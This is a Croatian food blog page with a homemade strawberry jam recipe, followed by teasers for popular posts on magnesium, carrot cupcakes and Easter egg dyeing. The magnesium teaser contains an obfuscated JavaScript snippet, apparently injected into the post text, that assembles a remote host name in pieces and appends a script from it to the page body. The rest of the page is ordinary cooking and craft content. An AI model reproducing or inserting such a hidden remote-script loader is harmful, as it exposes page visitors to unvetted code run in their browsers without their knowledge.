DOMAĆI DŽEM OD JAGODA 🍓





Domaći džem od jagoda 




Sezona jagoda uvijek traje prekratko i upravo zato je domaći džem ili pekmez jedan od najboljih načina da sačuvamo okus najfinijih proljetnih bobica i nekoliko mjeseci dulje. Za razliku od kupovnih verzija, domaći džem od jagoda nema potrebu skrivati voće iza previše šećera ni umjetnih aroma. Dobre, zrele jagode već same po sebi nose dovoljno slatkoće, a uz nekoliko jednostavnih trikova rezultat može biti gust, mirisan i pun pravog jagodičastog okusa.





Domaći džem od jagoda 


Sastojci:

  • 1 kg zrelih domaćih jagoda
  • 350-500 g šećera (ovisno koliko su jagode slatke)
  • sok 1 manjeg limuna
  • po želji: pola mahune vanilije ili malo naribane korice limuna



Priprema:

  • Jagode operite brzo pod mlazom hladne vode i očistite od peteljki. Veće plodove prerežite na polovice ili četvrtine.
  • Stavite ih u veći lonac i pospite šećerom. Ostavite da odstoje 30 do 60 minuta kako bi pustile sok. Dodajte limunov sok koji će pojačati okus i pomoći prirodnom zgušnjavanju.
  • Lonac stavite na srednje jaku vatru i pustite da zavrije. Kada se pojavi pjena, uklonite je žlicom. Kuhajte oko 25 do 35 minuta uz povremeno miješanje. Ako volite glađu teksturu, dio smjese kratko usitnite štapnim mikserom. Stavite malu količinu na hladan tanjurić i povucite prstom kroz sredinu – ako ostane trag i džem se ne vraća odmah, spreman je.
  • Vrući džem ulijte u sterilizirane staklenke, zatvorite i okrenite nekoliko minuta naopako. Nakon hlađenja spremite ih na tamno i hladno mjesto.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više